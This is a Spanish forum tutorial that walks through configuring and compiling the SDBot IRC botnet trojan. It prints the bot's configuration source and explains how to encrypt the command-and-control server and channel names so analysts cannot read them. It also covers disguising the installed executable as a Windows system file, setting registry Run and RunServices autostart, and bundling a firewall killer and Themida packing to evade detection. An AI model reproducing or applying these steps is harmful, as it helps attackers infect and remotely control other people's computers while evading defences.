Créditos del autor:
TsunamiRecopilado de:
vZack.com1.- Descargar e instalarAntes de nada nos bajamos el sdbot desde aqui:
Para ver este enlace Registrate o Inicia Sesiony el lcc 3.2. (es con el que lo he compilado) desde
Para ver este enlace Registrate o Inicia SesionInstalamos el lcc en c:\lcc
2.- Configurando el botDescomprimimos el sdbot_syn_secu
re_1.rar y buscamos el archivo SDBOT05B.C, lo abrimos con el notepad u otro editor de texto y nos situamos en la línea 71 donde esta la configuración del bot.
// bot configuration
const char botid[] = "lit"; // bot id
const char password[] = "$1$bleh$dPGEmrTPXe49ff1z/TCpA."; // bot
const int maxlogins = 1; // maximum number of simultaneous logins
const char server[26] = "\xb3\xb6\x8e\x84\xdf\x83\x79\x70\x21\x37\x42\x46\x5c\x39"; // server
const int port = 6667; // server port
const char serverpass[] = ""; // server password
const char channel[26] = "\xf2\xb4\x88\x87\x95\x93\x60\x60\x7d\x19"; // channel that the bot should join
const char chanpass[] = ""; // channel password
const char server2[26] = "\x53\x33\x2b\x61\x3a\x32\x07\x0a\x1e\x10\xf2\xe4\xa0\xfb\xf9\xd7\xaa"; // backup server (optional)
const int port2 = 6667; // backup server port
const char channel2[26] = "\x19\x35\x2d\x2c\x3e\x5d"; // backup channel (optional)
const char chanpass2[] = ""; // backup channel password (optional)
const BOOL topiccmd = TRUE; // set to TRUE to enable topic commands
const BOOL rndfilename = FALSE; // use random file name
const char filename[] = "ntdrv.exe"; // destination file name
const BOOL regrun = TRUE; // use the Run registry key for autostart
const BOOL regrunservices = TRUE; // use the RunServices registry key for autostart
const char valuename[] = "NT Guard"; // value name for autostart
const char prefix = '.'; // command prefix (one character max.)
const char version[] = "*"; // bot's VERSION reply
const int cryptkey = 1488; // encryption key (use same key you used in the encrypt program)
const int maxaliases = 16; // maximum number of aliases (must be greater than the number of predefined aliases).
Algunos trozos de configuracion estan encriptados para que no los habran con un editor hexagesimal y vean a donde conecta el bot, asi que tendremos que encryptar la nueva configuracion que vamos a meter.
En la linea 92 esta la clave de encryptacion, abriremos el exe tools/cryptstr.exe y pondra "cryptkey:", hay introduciremos 1488.
ahora procederemos ha encriptar nuestra nueva configuración
const char botid[] = "lit"; // bot id
Es el id del bot no tiene mucha importancia cambiarlo
const char password[] = "$1$bleh$dPGEmrTPXe49ff1z/TCpA."; // bot
Es la password del bot con la que nos loguearemos para que los bots nos hagan caso. Esta encriptada. Abrimos tools/mkpasswd.exe introducimos la contraseña que queremos, pulsamos enter y introducimos el salto que queramos.
const int maxlogins = 1; // maximum number of simultaneous logins
Es el numero de personas que podrán controlar los bots al mismo tiempo recomiendo poner 1
const char server[26] = "\xb3\xb6\x8e\x84\xdf\x83\x79\x70\x21\x37\x42\x46\x5c\x39"; // server
el server al que conectaran los bots, lo encriptamos con elcryptstr.exe introduciendo de cryptkey 1488 y luego introducimos nuestro server.

Nos quedara algo así
Encriptamos ircdenial0fser
vice.com ->
CryptKey:1488
Enter phrase to be encrypted:ircdenial0fservice.com
\xb8\xab\x82\x8d\x94\x97\x68\x68\x7d\x29\x47\x5a\x54\x4b\x37\x20\x32\x3c\x4f\x0a
\x1e\x14\x81
En ese caso reemplazaremos
const char server[26] = "\xb3\xb6\x8e\x84\xdf\x83\x79\x70\x21\x37\x42\x46\x5c\x39"; // server
por
const char server[26] = "\xb8\xab\x82\x8d\x94\x97\x68\x68\x7d\x29\x47\x5a\x54\x4b\x37\x20\x32\x3c\x4f\x0a
\x1e\x14\x81"; // server
const int port = 6667; // server port
Es el puerto del servidor irc normalmente suele ser 6667 o 7000, cambialo or el de tu server
const char serverpass[] = ""; // server password
Es la contraseña del servidor de irc. (normalmente no llevan asi que dejarlo en blanco)
const char channel[26] = "\xf2\xb4\x88\x87\x95\x93\x60\x60\x7d\x19"; // channel that the bot should join
Es el canal al que entraran los bots (Encryptarlo como habeis echo con el server) No os olvideis del '#'
const char chanpass[] = ""; // channel password
La contraseña del canal...
const char server2[26] = "\x53\x33\x2b\x61\x3a\x32\x07\x0a\x1e\x10\xf2\xe4\xa0\xfb\xf9\xd7\xaa"; // backup server (optional)
const int port2 = 6667; // backup server port
const char channel2[26] = "\x19\x35\x2d\x2c\x3e\x5d"; // backup channel (optional)
const char chanpass2[] = ""; // backup channel password (optional)
Esto es otro server para que conecten los bots, dejarlo en blanco
const BOOL rndfilename = FALSE; // use random file name
Si quereis que se instale con un nombre aleatorio, boolean (true - false)
const char filename[] = "ntdrv.exe"; // destination file name
Si en la anterior habeis puesto true da igual que pongais aqui, si habeis puesto false poner el nombre del archivo que quedara. (tener en cuenta que se instala en el directorio de sistema, normalmente c:\windows\system32) es perfecto poner explorer.exe
const BOOL regrun = TRUE; // use the Run registry key for autostart
Si queries que use la clave run para el autostart HKEY_LOCAL_MAC
HINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
const BOOL regrunservices = TRUE; // use the RunServices registry key for autostart
Lo mismo pero con la clave runservices HKEY_LOCAL_MAC
HINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
const char valuename[] = "NT Guard"; // value name for autostart
El nombre del valor de la clave, recomendado "explorador de windows"

const char prefix = '.'; // command prefix (one character max.)
El prefijo que usara el bot para los comandos
const char version[] = "*"; // bot's VERSION reply
La versión que os dirá el bot, da igual cual pongáis
const int cryptkey = 1488; // encryption key (use same key you used in the encrypt program)
Esta ya la hemos cambiado antes
const int maxaliases = 16; // maximum number of aliases (must be greater than the number of predefined aliases).
Dejarlo como esta
3.- Compilando el botSi no lo habeis instalado en c:\lcc deveis cambiar la ruta mirando el codigo fuente de make-lcc.bat
Una vez configurado lo guardamos y abrimos el make-lcc.bat para compilarlo.
Si lo compila bien el sdbot05b.exe pesara 40.5 kb.
4.- Encriptando el botlo ideal es agregarle un firewall killer con algún joiner y después pasarle el themida. Eso ya son gustos.
Saludos y espero que os haya gustado, si vais a copiar este manual poner un link hacia vzack.com y el autor
Saludos!